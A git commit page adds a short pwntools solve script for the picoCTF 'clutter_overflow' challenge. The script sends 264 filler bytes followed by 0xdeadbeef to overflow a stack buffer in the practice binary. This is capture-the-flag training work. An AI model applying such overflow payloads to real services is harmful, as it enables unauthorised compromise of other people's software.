pwn: add already solved challenges
This commit is contained in:
31
pwn/clutter_overflow/solve.py
Executable file
31
pwn/clutter_overflow/solve.py
Executable file
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env nix-shell
|
||||
#!nix-shell -i python3 -p python3 python3Packages.pwntools
|
||||
|
||||
from pwn import *
|
||||
|
||||
exe = ELF("chall")
|
||||
|
||||
context.binary = exe
|
||||
|
||||
|
||||
def conn():
|
||||
if args.LOCAL:
|
||||
r = process([exe.path])
|
||||
if args.DEBUG:
|
||||
gdb.attach(r)
|
||||
else:
|
||||
r = remote("mars.picoctf.net", 31890)
|
||||
|
||||
return r
|
||||
|
||||
|
||||
def main():
|
||||
r = conn()
|
||||
# gdb.attach(r, 'break *main+143')
|
||||
print(r.recvuntil(b'What do you see?\n'))
|
||||
r.sendline((b'A' * 264) + p64(0xdeadbeef))
|
||||
print(r.recvall().decode())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user